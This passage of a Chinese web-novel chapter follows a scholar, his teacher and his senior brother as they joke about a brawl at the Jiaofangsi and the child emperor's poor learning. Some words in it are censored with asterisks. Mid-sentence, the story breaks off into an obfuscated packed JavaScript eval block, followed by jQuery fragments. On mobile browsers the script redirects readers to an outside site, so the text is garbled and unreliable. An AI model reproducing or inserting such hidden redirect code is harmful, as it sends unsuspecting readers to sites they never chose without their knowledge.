在家中稍歇。
方子期下午就马不停蹄去了他老师刘青芝家。
没想到他师兄宋观澜今日居然也在家。
就是状态有些萎靡。
“师兄,你今日不当值吗?”
方子期好奇道。
“啊?”
“教坊司那边清闲,想去就去,想不去就不去,不碍事的。”
宋观澜摆摆手,背着方子期,显得很奇怪。
“呵!”
“子期,你师兄是什么人你不知道吗?”
“教坊司现在就是他的家!他恨不得日日住在那!”
“他这是在教坊司同安国公府的世子争风吃醋,被打了,不好意思见人了。”
“都多大岁数的人了,居然还学着年轻人上场打架!”
“我看啊,你师兄迟早要**!”
师嫂温雪衣在一旁没好气道。
方子期嘴角一抽。
又被打了?
上次在汉江省的什么青楼里面同晋王庶长子就因为争风吃醋被打了一顿。
现在来了这教坊司当奉銮怎么又被打了?
“娘子!”
“话不能这么说!”
“那安国公世子孙承渊真不是个东西。”
“小云不愿意伺候他,他居然还敢强来?”
“还殴打小云!”
“我教坊司也是有自己的规矩的!”
“虽然教坊司内多是犯官家眷,但…按照大梁法令,在陪客这种事情上,她们也是有自己的选择权的!”
“我既是教坊司奉銮,拿着朝廷的俸禄,自当要为教坊司的一众舞女歌姬做主才是!”
“否则我这教坊司奉銮岂不是白当了?”
“要我说……”
“这大梁是真的烂到根了。”
“什么这个侯那个公的……哪个不往教坊司跑?”
“哎……”
“世风日下,人心不古!”
“大梁朝堂上的衮衮诸公,超过半数都是**!”
“这样的大梁,焉能不亡!”
宋观澜忍不住以拳捶桌,似乎颇为愤慨。
“孽徒!”
“又在胡言乱语些什么?”
“你就不能稍微消停一点吗?”
“才当这个教坊司奉銮多久?就又得罪了安国公……”
“照这个趋势下去,用不了几年,这满朝勋贵都得被你得罪个遍!”
刘青芝此刻从内宅走过来,说话间忍不住翻了个白眼。
有些时候,是真有些控制不住情绪……
“老师!”
“怕什么!”
“您现在都是帝师了!”
“那小皇帝现在都是我师弟了!”
“我是皇帝的师兄我怕谁?”
宋观澜昂首挺胸,理直气壮道。
刘青芝气得嘴角一抽,他也是习惯了这孽徒的疯言疯语,现在都有抗性了。
“子期来了。”
“待会儿我给你授课。”
“让你师兄在一旁给你辅佐。”
“原先你在国子监尚且还能日日学习到一些学问。”
“现如今入宫当了伴读,只能靠着自学了……”
“以后你没事就过来,为师给你授课。”
“上午我给陛下授课,下午我给子期你授课,倒是充实得很。”
刘青芝此刻干劲十足。
“额……”
“老师,那您也太辛苦了。”
“一整日都没个休息时间……”
“老师,您在鸿胪寺那边…不用当值的吗?”
方子期好奇道。
“鸿胪寺那边本来就清闲,现如今有什么事我都交给下属去做了。”
“这也是太后娘娘特许的。”
“现在我的任务就是给陛下当好这个老师……”
“哎!”
“子期啊!”
“为师每日上午给陛下授课实在是太…太辛酸了,下午若是不给子期你授课,为师会发疯的。”
“给子期你授授课,讲解一下真正的圣贤学问,为师这心里面还能好过一些……”
“舒服一下午,调整一下心态,第二日才能咬牙继续给陛下授课。”
刘青芝唉声叹气的,现在也是真的被逼得没办法了。
方子期此刻忍不住朝着自家恩师投去心疼的目光。
就那小皇帝,一教一个不吱声啊……
以前的帝师是吏部尚书秦景澄,也是原来的内阁次辅……
后来因为这个内阁次辅兼吏部尚书秦景澄和晋王勾勾搭搭的,就被太后那边利用贡院纵火之事,将其踢出了内阁……
仔细想来,莫不是这位秦景澄秦尚书就是为了不给小皇帝当帝师,才投靠晋王的吧?
虽然这个想法有点魔幻……
但是方子期总觉得有那么一丝可能。
“这小皇帝的天赋
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504753|181960||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有这么差吗?”
“老师您跟子期都这么愁眉苦脸的?”
“这…这小皇帝不会是…晋惠帝之流吧?”
“他说过何不食肉糜吗?”
突然,宋观澜好奇道。
“师兄,没那么夸张。”
“小皇帝可能也就是年龄太小,在读书上少了一些天分而已。”
“其他的…倒还正常吧。”
方子期评价道。
“那就是说…没什么特长了?”
“若是太平年代,当个阿斗那样的守成之君倒也挺好的。”
“但这是乱世啊……”
“哎……”
“看来是**我大梁啊!”
“老师,你这帝师…不会是**之君的帝师啊?”
“**之师?”
宋观澜灵光乍现。
刘青芝嘴角抽了抽。
他本以为自己已经习惯了这孽徒的疯言了。
但是此刻还是忍不住想要动怒。
“孽畜!”
“住嘴!”
“你也就是运气好,不然早死几十次了。”
“什么话都敢乱讲。”
“我看陛下好得很!”
“未来大梁未必就不能风调雨顺、国泰民安!”
“你少在这里蛊惑人心!”
“将子期都给带坏了!”
怒斥声传来,刘青芝已经无法直视自己这个孽徒了。
“老师。”
“您看,您又急!”
“这不是闲聊吗?”
“我又没瞎说。”
“很多事情都是有迹可循的。”
“老师啊,我就是想让您多长个心眼……”
“若是情况不对,赶紧抽身离开……”
“这**之师的头衔,可不是什么好头衔!”
“老师啊!”
“你可不能让我黑发人送白发人啊!”
“学生还想给您养老呢!”
“您不能让学生陷入‘子欲养而亲不待’的境地啊!”
宋观澜呜呼哀哉道。
方子期麻了。
他这师兄的嘴…是真牙尖嘴利啊。
怪不得经常挨打……
他老师这涵养估摸着都是靠他师兄练出来的。
咚咚咚……
突然。
门外传来一阵急促的脚步声。
“老师!”
“子期!”
“苏师叔来了。”
温雪衣将苏继儒迎了进来。